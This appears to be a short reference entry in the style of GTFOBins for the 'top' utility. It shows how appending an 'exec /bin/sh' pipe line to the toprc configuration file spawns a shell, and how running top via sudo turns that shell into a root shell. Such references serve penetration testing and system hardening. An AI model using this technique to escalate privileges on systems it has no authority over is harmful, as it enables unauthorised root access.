top
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc top # press return twice resetThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc top # press return twice reset